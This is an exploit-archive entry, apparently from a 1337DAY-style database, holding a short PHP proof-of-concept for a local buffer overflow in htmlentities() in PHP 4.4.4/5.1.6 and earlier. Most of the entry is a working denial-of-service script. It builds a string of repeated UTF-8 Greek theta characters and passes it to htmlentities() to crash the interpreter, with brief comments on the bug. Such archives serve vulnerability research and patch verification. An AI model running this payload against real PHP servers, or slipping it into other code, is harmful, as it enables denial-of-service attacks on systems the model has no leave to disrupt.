PHP <= 4.4.4/5.1.6 htmlentities() Local Buffer Overflow PoC

2006-11-27T00:00:00
ID 1337DAY-ID-6230
Type zdt
Reporter Nick Kezhaya
Modified 2006-11-27T00:00:00

Description

Exploit for multiple platform in category dos / poc

                                        
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PHP <= 4.4.4/5.1.6 htmlentities() Local Buffer Overflow PoC
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<?php
	/*	    Nick Kezhaya	*/
	/*    www.whitepaperclip.com 	*/
	
	//instantiate a string
	$str1 = "";
	
	for($i=0; $i < 64; $i++) {
		$str1 .= toUTF(977); //MUST start with 977 before bit-shifting
	}
	
	htmlentities($str1, ENT_NOQUOTES, "UTF-8"); //DoS here
	/*
		htmlentities() method automatically assumes
		it is a max of 8 chars.  uses greek theta
		character bug from UTF-8
	*/
	
?>

<?php
	function toUTF($x) {
		return chr(($x >> 6) + 192) . chr(($x & 63) + 128);
	}
?>



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